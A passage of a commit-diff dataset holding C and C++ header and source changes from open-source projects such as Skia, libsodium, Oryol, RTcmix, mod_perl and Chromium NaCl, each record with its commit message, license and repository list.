(void)takeVideoOrChooseFromLibrary;\n- (void)takePhotoOrVideoOrChooseFromLibrary;\n@property (strong, nonatomic) UIImagePickerController *imagePicker;\n@property (weak, nonatomic) id <FDTakeDelegate> delegate;\n\n@end\n","new_contents":"\/\/\n\/\/  FDTakeController.h\n\/\/  FDTakeExample\n\/\/\n\/\/  Created by Will Entriken on 8\/9\/12.\n\/\/  Copyright (c) 2012 William Entriken. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class FDTakeController;\n\n@protocol FDTakeDelegate <NSObject>\n\n@optional\n- (void)takeController:(FDTakeController *)controller didCancelAfterAttempting:(BOOL)madeAttempt;\n- (void)takeController:(FDTakeController *)controller gotPhoto:(UIImage *)photo withInfo:(NSDictionary *)info;\n- (void)takeController:(FDTakeController *)controller gotVideo:(NSURL *)video withInfo:(NSDictionary *)info;\n\n@end\n\n@interface FDTakeController : NSObject\n\n+ (UIImage*)imageWithImage:(UIImage*)sourceImage scaledToSizeWithSameAspectRatio:(CGSize)targetSize;\n\n- (void)takePhotoOrChooseFromLibrary;\n- (void)takeVideoOrChooseFromLibrary;\n- (void)takePhotoOrVideoOrChooseFromLibrary;\n@property (strong, nonatomic) UIImagePickerController *imagePicker;\n@property (weak, nonatomic) id <FDTakeDelegate> delegate;\n\n@end\n","subject":"Make more usable for production","message":"Make more usable for production\n","lang":"C","license":"mit","repos":"fulldecent\/FDTake,kobim\/FDTake,fulldecent\/FDTake,eumlab\/FDTake,eumlab\/FDTake,eumlab\/FDTake,Lily418\/FDTake,Lily418\/FDTake,masd-duc\/FDTake,Lily418\/FDTake,LaserPatrick\/FDTake,wyszo\/FDTake,fulldecent\/FDTake,LaserPatrick\/FDTake"}
{"commit":"97ef11ed8bb6b0662fd9d293eb631c5d1874eeda","old_file":"input\/Tree.h","new_file":"input\/Tree.h","old_contents":"","new_contents":"#include <memory>\n#include <random>\n\nstatic std::mt19937 mt;\nstatic std::uniform_int_distribution<int> d(1,10);\nstatic auto gen = []{return d(mt);};\n\nclass Tree\n{\n  int data_;\n  std::shared_ptr<Tree> left_;\n  std::shared_ptr<Tree> right_;\n\n  public:\n\n  Tree(int levels=0)\n  {\n    data_ = gen();\n    if ( levels <= 0 ) return;\n    left_ = std::make_shared<Tree>(levels-1);\n    right_ = std::make_shared<Tree>(levels-1);\n  }\n\n  const Tree* left_subtree() const\n  {\n    return left_.get();\n  }\n\n  const Tree* right_subtree() const\n  {\n    return right_.get();\n  }\n\n  int data() const\n  {\n    return data_;\n  }\n\n};\n\n","subject":"Add tree demo to input - needed for subobjects","message":"Add tree demo to input - needed for subobjects\n","lang":"C","license":"mit","repos":"jbcoe\/C_API_generation,jbcoe\/C_API_generation,FFIG\/ffig,FFIG\/ffig,FFIG\/ffig,FFIG\/ffig,jbcoe\/C_API_generation,jbcoe\/C_API_generation,FFIG\/ffig,FFIG\/ffig,FFIG\/ffig,FFIG\/ffig"}
{"commit":"7c945ca65683fd17b029ab0748fe2359a8f71a4c","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 64\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 65\n#endif\n","subject":"Update Skia milestone to 65","message":"Update Skia milestone to 65\n\nNOTRY=TRUE\nTBR=reed\n\nBug: skia:\nChange-Id: I3dfe04202f48068bd04e7d64fa38913906af02ce\nReviewed-on: https:\/\/skia-review.googlesource.com\/78201\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\nCommit-Queue: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"HalCanary\/skia-hc,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,Hikari-no-Tenshi\/android_external_skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,rubenvb\/skia,rubenvb\/skia,rubenvb\/skia,google\/skia"}
{"commit":"5084aa505fc702cd78b274622c72d63969688d75","old_file":"util\/bounding_box.h","new_file":"util\/bounding_box.h","old_contents":"\/*\n * An axis-aligned bounding box in 3D space.\n * Author: Dino Wernli\n *\/\n\n#ifndef BOUNDING_BOX_H_\n#define BOUNDING_BOX_H_\n\n#include \"util\/numeric.h\"\n\nclass Point3;\n\nclass BoundingBox {\n public:\n  BoundingBox(const Point3& point);\n  virtual ~BoundingBox();\n\n  \/\/ Changes the bounding box to include point.\n  BoundingBox& Include(const Point3& point);\n\n private:\n  Scalar xmin_, xmax_, ymin_, ymax_, zmin_, zmax_;\n};\n\n#endif  \/* BOUNDING_BOX_H_ *\/\n","new_contents":"\/*\n * An axis-aligned bounding box in 3D space.\n * Author: Dino Wernli\n *\/\n\n#ifndef BOUNDING_BOX_H_\n#define BOUNDING_BOX_H_\n\n#include \"util\/numeric.h\"\n\nclass Point3;\n\nclass BoundingBox {\n public:\n  BoundingBox(const Point3& point);\n  virtual ~BoundingBox();\n\n  \/\/ Changes the bounding box to include point.\n  BoundingBox& Include(const Point3& point);\n\n private:\n  Scalar xmin_, xmax_, ymin_, ymax_, zmin_, zmax_;\n};\n\ntemplate<class OStream>\nOStream& operator<<(OStream& os, const BoundingBox& box) {\n  return os << \"(box: \"\n    \"(\" << box.xmin_ << ' ' << box.xmax_ << \") \"\n    \"(\" << box.ymin_ << ' ' << box.ymax_ << \") \"\n    \"(\" << box.zmin_ << ' ' << box.zmax_ << \"))\";\n}\n\n#endif  \/* BOUNDING_BOX_H_ *\/\n","subject":"Add support for dumping bounding boxes.","message":"Add support for dumping bounding boxes.\n","lang":"C","license":"mit","repos":"dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer"}
{"commit":"dff6ed304ba6c58a273d234384ca12fd59f03b86","old_file":"code\/Modules\/Render\/Types\/PrimitiveType.h","new_file":"code\/Modules\/Render\/Types\/PrimitiveType.h","old_contents":"#pragma once\r\n\/\/------------------------------------------------------------------------------\r\n\/**\r\n    @class Oryol::Render::PrimitiveType\r\n    @brief primitive type enum (triangle strips, lists, etc...)\r\n*\/\r\n#include \"Core\/Types.h\"\r\n\r\nnamespace Oryol {\r\nnamespace Render {\r\n    \r\nclass PrimitiveType {\r\npublic:\r\n    \/\/\/ primitive type enum\r\n    enum Code {\r\n        Points,                 \/\/\/< point list\r\n        LineStrip,              \/\/\/< line strip\r\n        LineLoop,               \/\/\/< closed line loop\r\n        Lines,                  \/\/\/< line list\r\n        TriangleStrip,          \/\/\/< triangle strip\r\n        TriangleFan,            \/\/\/< triangle fan\r\n        Triangles,              \/\/\/< triangle list\r\n        \r\n        NumPrimitiveTypes,      \/\/\/< number of primitive types\r\n        InvalidPrimitiveType,   \/\/\/< invalid primitive type value\r\n    };\r\n    \r\n    \/\/\/ convert to string\r\n    static const char* ToString(Code c);\r\n    \/\/\/ convert from string\r\n    static Code FromString(const char* str);\r\n};\r\n    \r\n} \/\/ namespace Render\r\n} \/\/ namespace Oryol","new_contents":"#pragma once\r\n\/\/------------------------------------------------------------------------------\r\n\/**\r\n    @class Oryol::Render::PrimitiveType\r\n    @brief primitive type enum (triangle strips, lists, etc...)\r\n*\/\r\n#include \"Core\/Types.h\"\r\n\r\nnamespace Oryol {\r\nnamespace Render {\r\n    \r\nclass PrimitiveType {\r\npublic:\r\n    \/\/\/ primitive type enum (don't change order, append to end!)\r\n    enum Code {\r\n        Points = 0,             \/\/\/< point list\r\n        LineStrip,              \/\/\/< line strip\r\n        LineLoop,               \/\/\/< closed line loop\r\n        Lines,                  \/\/\/< line list\r\n        TriangleStrip,          \/\/\/< triangle strip\r\n        TriangleFan,            \/\/\/< triangle fan\r\n        Triangles,              \/\/\/< triangle list\r\n        \r\n        NumPrimitiveTypes,      \/\/\/< number of primitive types\r\n        InvalidPrimitiveType,   \/\/\/< invalid primitive type value\r\n    };\r\n    \r\n    \/\/\/ convert to string\r\n    static const char* ToString(Code c);\r\n    \/\/\/ convert from string\r\n    static Code FromString(const char* str);\r\n};\r\n    \r\n} \/\/ namespace Render\r\n} \/\/ namespace Oryol","subject":"Make sure primitive type enum starts at 0","message":"Make sure primitive type enum starts at 0\n","lang":"C","license":"mit","repos":"tempbottle\/oryol,ejkoy\/oryol,tempbottle\/oryol,ejkoy\/oryol,mgerhardy\/oryol,tempbottle\/oryol,code-disaster\/oryol,wangscript\/oryol,mgerhardy\/oryol,waywardmonkeys\/oryol,xfxdev\/oryol,mgerhardy\/oryol,xfxdev\/oryol,wangscript\/oryol,bradparks\/oryol,zhakui\/oryol,waywardmonkeys\/oryol,code-disaster\/oryol,aonorin\/oryol,mgerhardy\/oryol,ejkoy\/oryol,xfxdev\/oryol,code-disaster\/oryol,aonorin\/oryol,bradparks\/oryol,ejkoy\/oryol,floooh\/oryol,floooh\/oryol,ejkoy\/oryol,wangscript\/oryol,bradparks\/oryol,zhakui\/oryol,bradparks\/oryol,ejkoy\/oryol,wangscript\/oryol,xfxdev\/oryol,zhakui\/oryol,zhakui\/oryol,aonorin\/oryol,waywardmonkeys\/oryol,code-disaster\/oryol,aonorin\/oryol,wangscript\/oryol,waywardmonkeys\/oryol,waywardmonkeys\/oryol,bradparks\/oryol,floooh\/oryol,aonorin\/oryol,code-disaster\/oryol,mgerhardy\/oryol,tempbottle\/oryol,aonorin\/oryol,tempbottle\/oryol,floooh\/oryol,xfxdev\/oryol,wangscript\/oryol,floooh\/oryol,tempbottle\/oryol,bradparks\/oryol,bradparks\/oryol,code-disaster\/oryol,tempbottle\/oryol,waywardmonkeys\/oryol,wangscript\/oryol,xfxdev\/oryol,code-disaster\/oryol,aonorin\/oryol,ejkoy\/oryol,xfxdev\/oryol,floooh\/oryol,zhakui\/oryol,mgerhardy\/oryol,zhakui\/oryol,zhakui\/oryol,mgerhardy\/oryol,waywardmonkeys\/oryol"}
{"commit":"3709f2b154a5db0500892c1d720280d54981135a","old_file":"src\/rtcmix\/gen\/floc.c","new_file":"src\/rtcmix\/gen\/floc.c","old_contents":"#include \"..\/H\/ugens.h\"\n#include <stdio.h>\n\n\/* these 3 defined in makegen.c *\/\nextern float *farrays[];\nextern int sizeof_farray[];\nextern int f_goto[];\n\n\/* Returns the address of function number genno, or NULL if the\n   function array doesn't exist.\n\n   NOTE: It's the responsiblity of instruments to deal with a\n   missing gen, either by using die() or supplying a default\n   and alerting the user with advise().\n*\/\nfloat *floc(int genno)\n{\n   int index = f_goto[genno];\n   if (sizeof_farray[index] == 0)\n      return NULL;\n   return farrays[index];\n}\n\n","new_contents":"#include <stdio.h>\n#include <ugens.h>\n\n\/* these 3 defined in makegen.c *\/\nextern float *farrays[];\nextern int sizeof_farray[];\nextern int f_goto[];\n\n\/* Returns the address of function number genno, or NULL if the\n   function array doesn't exist.\n\n   NOTE: It's the responsiblity of instruments to deal with a\n   missing gen, either by using die() or supplying a default\n   and alerting the user with advise().\n*\/\nfloat *floc(int genno)\n{\n   int index;\n\n   if (genno < 0)\n      return NULL;\n      \n   index = f_goto[genno];\n   if (sizeof_farray[index] == 0)\n      return NULL;\n\n   return farrays[index];\n}\n\n","subject":"Make sure gen loc is in range.","message":"Make sure gen loc is in range.\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"38dc7e5f12c1fb18c292dcd2ade8f8de9102c79c","old_file":"xs\/APR\/OS\/APR__OS.h","new_file":"xs\/APR\/OS\/APR__OS.h","old_contents":"\/* Copyright 2002-2004 The Apache Software Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\nstatic MP_INLINE U32 mpxs_APR__OS_current_thread_id(pTHX)\n{\n#if APR_HAS_THREADS\n    return apr_os_thread_current();\n#else\n    return 0;\n#endif\n}\n","new_contents":"\/* Copyright 2002-2004 The Apache Software Foundation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\nstatic MP_INLINE U32 mpxs_APR__OS_current_thread_id(pTHX)\n{\n#if APR_HAS_THREADS\n    return (U32)apr_os_thread_current();\n#else\n    return 0;\n#endif\n}\n","subject":"Make a proper case to U32 to avoid a warning","message":"Make a proper case to U32 to avoid a warning\n\nPR:\nObtained from:\nSubmitted by:\nReviewed by:\n\n\ngit-svn-id: b4be4a41b2a3352907de631eb6da1671a2f7b614@71435 13f79535-47bb-0310-9956-ffa450edef68\n","lang":"C","license":"apache-2.0","repos":"Distrotech\/mod_perl,Distrotech\/mod_perl,Distrotech\/mod_perl,Distrotech\/mod_perl"}
{"commit":"7024cce5b4315f285d4bd44fff0e999cd6e040f0","old_file":"Modules\/tkappinit.c","new_file":"Modules\/tkappinit.c","old_contents":"\/* appinit.c -- Tcl and Tk application initialization. *\/\n\n#include <tcl.h>\n#include <tk.h>\n\nint\nTcl_AppInit (interp)\n\tTcl_Interp *interp;\n{\n\tTk_Window main;\n\n\tmain = Tk_MainWindow(interp);\n\n\tif (Tcl_Init (interp) == TCL_ERROR)\n\t\treturn TCL_ERROR;\n\tif (Tk_Init (interp) == TCL_ERROR)\n\t\treturn TCL_ERROR;\n\n#ifdef WITH_MOREBUTTONS\n\t{\n\t\textern Tcl_CmdProc studButtonCmd;\n\t\textern Tcl_CmdProc triButtonCmd;\n\n\t\tTcl_CreateCommand(interp, \"studbutton\", studButtonCmd,\n\t\t\t\t  (ClientData) main, NULL);\n\t\tTcl_CreateCommand(interp, \"tributton\", triButtonCmd,\n\t\t\t\t  (ClientData) main, NULL);\n\t}\n#endif\n#ifdef WITH_XXX\n\n#endif\n\treturn TCL_OK;\n}\n\n","new_contents":"\/* appinit.c -- Tcl and Tk application initialization. *\/\n\n#include <tcl.h>\n#include <tk.h>\n\nint\nTcl_AppInit (interp)\n\tTcl_Interp *interp;\n{\n\tTk_Window main;\n\n\tmain = Tk_MainWindow(interp);\n\n\tif (Tcl_Init (interp) == TCL_ERROR)\n\t\treturn TCL_ERROR;\n\tif (Tk_Init (interp) == TCL_ERROR)\n\t\treturn TCL_ERROR;\n\n#ifdef WITH_MOREBUTTONS\n\t{\n\t\textern Tcl_CmdProc studButtonCmd;\n\t\textern Tcl_CmdProc triButtonCmd;\n\n\t\tTcl_CreateCommand(interp, \"studbutton\", studButtonCmd,\n\t\t\t\t  (ClientData) main, NULL);\n\t\tTcl_CreateCommand(interp, \"tributton\", triButtonCmd,\n\t\t\t\t  (ClientData) main, NULL);\n\t}\n#endif\n\n#ifdef WITH_PIL \/* 0.2b5 and later -- not yet released as of May 14 *\/\n\t{\n\t\textern void TkImaging_Init(Tcl_Interp *interp);\n\t\tTkImaging_Init(interp);\n\t}\n#endif\n\n#ifdef WITH_PIL_OLD \/* 0.2b4 and earlier *\/\n\t{\n\t\textern void TkImaging_Init(void);\n\t\tTkImaging_Init();\n\t}\n#endif\n\n#ifdef WITH_XXX\n\n#endif\n\treturn TCL_OK;\n}\n","subject":"Add sections for PIL (Fred Lundh).","message":"Add sections for PIL (Fred Lundh).\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"076eb56e244d6d1da4d8bf2c0a7a6e4cae282023","old_file":"src\/libsodium\/sodium\/core.c","new_file":"src\/libsodium\/sodium\/core.c","old_contents":"\n#include <stdbool.h>\n\n#include \"core.h\"\n#include \"crypto_onetimeauth.h\"\n\nstatic bool initialized;\n\nint\nsodium_init(void)\n{\n    if (initialized != 0) {\n        return 1;\n    }\n    initialized = 1;\n    if (crypto_onetimeauth_pick_best_implementation() == NULL) {\n        return -1;\n    }\n    return 0;\n}\n","new_contents":"\n#include <stdbool.h>\n\n#include \"core.h\"\n#include \"crypto_onetimeauth.h\"\n\nstatic bool initialized;\n\nint\nsodium_init(void)\n{\n    if (initialized != 0) {\n        return 1;\n    }\n    if (crypto_onetimeauth_pick_best_implementation() == NULL) {\n        return -1;\n    }\n    initialized = 1;\n\n    return 0;\n}\n","subject":"Set initialized=1 when everything has actually been initialized","message":"Set initialized=1 when everything has actually been initialized\n","lang":"C","license":"isc","repos":"mvduin\/libsodium,pyparallel\/libsodium,zhuqling\/libsodium,GreatFruitOmsk\/libsodium,paragonie-scott\/libsodium,HappyYang\/libsodium,eburkitt\/libsodium,donpark\/libsodium,eburkitt\/libsodium,SpiderOak\/libsodium,pyparallel\/libsodium,akkakks\/libsodium,pyparallel\/libsodium,soumith\/libsodium,rustyhorde\/libsodium,rustyhorde\/libsodium,kytvi2p\/libsodium,JackWink\/libsodium,akkakks\/libsodium,GreatFruitOmsk\/libsodium,tml\/libsodium,netroby\/libsodium,GreatFruitOmsk\/libsodium,Payshare\/libsodium,optedoblivion\/android_external_libsodium,Payshares\/libsodium,netroby\/libsodium,JackWink\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,mvduin\/libsodium,HappyYang\/libsodium,Payshare\/libsodium,optedoblivion\/android_external_libsodium,paragonie-scott\/libsodium,tml\/libsodium,netroby\/libsodium,soumith\/libsodium,Payshares\/libsodium,SpiderOak\/libsodium,pmienk\/libsodium,kytvi2p\/libsodium,tml\/libsodium,rustyhorde\/libsodium,pmienk\/libsodium,Payshares\/libsodium,donpark\/libsodium,eburkitt\/libsodium,akkakks\/libsodium,rustyhorde\/libsodium,kytvi2p\/libsodium,SpiderOak\/libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,zhuqling\/libsodium,pmienk\/libsodium,mvduin\/libsodium,optedoblivion\/android_external_libsodium,CyanogenMod\/android_external_dnscrypt_libsodium,zhuqling\/libsodium,SpiderOak\/libsodium,paragonie-scott\/libsodium,donpark\/libsodium,akkakks\/libsodium,soumith\/libsodium,Payshare\/libsodium,JackWink\/libsodium,HappyYang\/libsodium"}
{"commit":"d5646a1a326b9454df20cd0675cbce65becb83ea","old_file":"scene\/light\/sphere_light.h","new_file":"scene\/light\/sphere_light.h","old_contents":"","new_contents":"\/*\n * An area light with a sphere geometry.\n *\n * TODO(dinow): Extract a middle class called GeometryLight which contains the\n * intersect code and the geometry pointer.\n * Author: Dino Wernli\n *\/\n\n#ifndef SPHERE_LIGHT_H_\n#define SPHERE_LIGHT_H_\n\n#include \"scene\/geometry\/sphere.h\"\n#include \"util\/random.h\"\n\nclass SphereLight : public Light {\n public:\n  SphereLight(const Point3& center, Scalar radius, const Color3& color)\n      : Light(color), sphere_(new Sphere(center, radius)) {\n  }\n  virtual ~SphereLight() {};\n\n  virtual Ray GenerateRay(const Point3& target) const {\n    \/\/ TODO(dinow): Generate a ray from a random point on the proper half of the\n    \/\/ sphere to target.\n    return Ray;\n  }\n\n  \/\/ No ray ever intersects a dimensionless point light.\n  virtual bool Intersect(const Ray& ray, IntersectionData* data) const {\n    bool result = sphere_->Intersect(ray, data);\n    if (result) {\n      \/\/ Make sure the data object knows it intersected a light.\n      data->set_light(this);\n    }\n    return result;\n  }\n\n private:\n  std::unique_ptr<Sphere> sphere_;\n  Random random_;\n};\n\n#endif  \/* SPHERE_LIGHT_H_ *\/\n","subject":"Add a sphere light stub.","message":"Add a sphere light stub.\n","lang":"C","license":"mit","repos":"dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer"}
{"commit":"335f2e9da72e2d2f28ba437903f42344cf80d65d","old_file":"libs\/incs\/ac_xstr.h","new_file":"libs\/incs\/ac_xstr.h","old_contents":"","new_contents":"\/*\n * Copyright 2016 Wink Saville\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef ARCH_GENERIC_INCS_AC_XSTR_H\n#define ARCH_GENERIC_INCS_AC_XSTR_H\n\n\/\/ Stringification of macro parameters\n\/\/ [See](https:\/\/gcc.gnu.org\/onlinedocs\/cpp\/Stringification.html)\n\n#define AC_XSTR(s) AC_STR(s)\n#define AC_STR(s) #s\n\n#endif\n","subject":"Add AC_XSTR and AC_STR macros.","message":"Add AC_XSTR and AC_STR macros.\n\n[See](https:\/\/gcc.gnu.org\/onlinedocs\/cpp\/Stringification.html)\n","lang":"C","license":"apache-2.0","repos":"winksaville\/sadie,winksaville\/sadie"}
{"commit":"bbbb905e897e8dd9e59c51d1dc3f34023314295e","old_file":"chrome\/nacl\/nacl_broker_listener.h","new_file":"chrome\/nacl\/nacl_broker_listener.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_NACL_NACL_BROKER_LISTENER_H_\n#define CHROME_NACL_NACL_BROKER_LISTENER_H_\n#pragma once\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/process.h\"\n#include \"chrome\/common\/nacl_types.h\"\n#include \"ipc\/ipc_channel.h\"\n\n\/\/ The BrokerThread class represents the thread that handles the messages from\n\/\/ the browser process and starts NaCl loader processes.\nclass NaClBrokerListener : public IPC::Channel::Listener {\n public:\n  NaClBrokerListener();\n  ~NaClBrokerListener();\n\n  void Listen();\n\n  \/\/ IPC::Channel::Listener implementation.\n  virtual void OnChannelConnected(int32 peer_pid) OVERRIDE;\n  virtual bool OnMessageReceived(const IPC::Message& msg) OVERRIDE;\n  virtual void OnChannelError() OVERRIDE;\n\n private:\n  void OnLaunchLoaderThroughBroker(const std::wstring& loader_channel_id);\n  void OnShareBrowserHandle(int browser_handle);\n  void OnStopBroker();\n\n  base::ProcessHandle browser_handle_;\n  scoped_ptr<IPC::Channel> channel_;\n\n  DISALLOW_COPY_AND_ASSIGN(NaClBrokerListener);\n};\n\n#endif  \/\/ CHROME_NACL_NACL_BROKER_LISTENER_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_NACL_NACL_BROKER_LISTENER_H_\n#define CHROME_NACL_NACL_BROKER_LISTENER_H_\n#pragma once\n\n#include \"base\/memory\/scoped_ptr.h\"\n#include \"base\/process.h\"\n#include \"chrome\/common\/nacl_types.h\"\n#include \"ipc\/ipc_channel.h\"\n\n\/\/ The BrokerThread class represents the thread that handles the messages from\n\/\/ the browser process and starts NaCl loader processes.\nclass NaClBrokerListener : public IPC::Channel::Listener {\n public:\n  NaClBrokerListener();\n  ~NaClBrokerListener();\n\n  void Listen();\n\n  \/\/ IPC::Channel::Listener implementation.\n  virtual void OnChannelConnected(int32 peer_pid) OVERRIDE;\n  virtual bool OnMessageReceived(const IPC::Message& msg) OVERRIDE;\n  virtual void OnChannelError() OVERRIDE;\n\n private:\n  void OnLaunchLoaderThroughBroker(const std::wstring& loader_channel_id);\n  void OnStopBroker();\n\n  base::ProcessHandle browser_handle_;\n  scoped_ptr<IPC::Channel> channel_;\n\n  DISALLOW_COPY_AND_ASSIGN(NaClBrokerListener);\n};\n\n#endif  \/\/ CHROME_NACL_NACL_BROKER_LISTENER_H_\n","subject":"Remove declaration of non-existent method","message":"NaCl: Remove declaration of non-existent method\n\nBUG=none\nTEST=none\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/9592039\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@125431 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"gavinp\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium"}
{"commit":"a426da990b999ba8a44aec739e412f7f8722df24","old_file":"erts\/emulator\/test\/scheduler_SUITE_data\/scheduler_SUITE.c","new_file":"erts\/emulator\/test\/scheduler_SUITE_data\/scheduler_SUITE.c","old_contents":"#include <unistd.h>\n#include \"erl_nif.h\"\n\nstatic int\nload(ErlNifEnv* env, void** priv, ERL_NIF_TERM info)\n{\n    ErlNifSysInfo sys_info;\n    enif_system_info(&sys_info, sizeof(ErlNifSysInfo));\n    if (!sys_info.smp_support || !sys_info.dirty_scheduler_support)\n        return 1;\n    return 0;\n}\n\nstatic ERL_NIF_TERM\ndirty_sleeper(ErlNifEnv* env, int argc, const ERL_NIF_TERM argv[])\n{\n#ifdef ERL_NIF_DIRTY_SCHEDULER_SUPPORT\n    sleep(3);\n#endif\n    return enif_make_atom(env, \"ok\");\n}\n\nstatic ErlNifFunc funcs[] = {\n#ifdef ERL_NIF_DIRTY_SCHEDULER_SUPPORT\n    {\"dirty_sleeper\", 0, dirty_sleeper, ERL_NIF_DIRTY_JOB_IO_BOUND}\n#else\n    {\"dirty_sleeper\", 0, dirty_sleeper, 0}\n#endif\n};\n\nERL_NIF_INIT(scheduler_SUITE, funcs, &load, NULL, NULL, NULL);\n","new_contents":"#ifndef __WIN32__\n#include <unistd.h>\n#endif\n#include \"erl_nif.h\"\n\nstatic int\nload(ErlNifEnv* env, void** priv, ERL_NIF_TERM info)\n{\n    ErlNifSysInfo sys_info;\n    enif_system_info(&sys_info, sizeof(ErlNifSysInfo));\n    if (!sys_info.smp_support || !sys_info.dirty_scheduler_support)\n        return 1;\n    return 0;\n}\n\nstatic ERL_NIF_TERM\ndirty_sleeper(ErlNifEnv* env, int argc, const ERL_NIF_TERM argv[])\n{\n#ifdef ERL_NIF_DIRTY_SCHEDULER_SUPPORT\n#ifdef __WIN32__\n    Sleep(3000);\n#else\n    sleep(3);\n#endif\n#endif\n    return enif_make_atom(env, \"ok\");\n}\n\nstatic ErlNifFunc funcs[] = {\n#ifdef ERL_NIF_DIRTY_SCHEDULER_SUPPORT\n    {\"dirty_sleeper\", 0, dirty_sleeper, ERL_NIF_DIRTY_JOB_IO_BOUND}\n#else\n    {\"dirty_sleeper\", 0, dirty_sleeper, 0}\n#endif\n};\n\nERL_NIF_INIT(scheduler_SUITE, funcs, &load, NULL, NULL, NULL);\n","subject":"Fix dirty scheduler tc on windows","message":"Fix dirty scheduler tc on 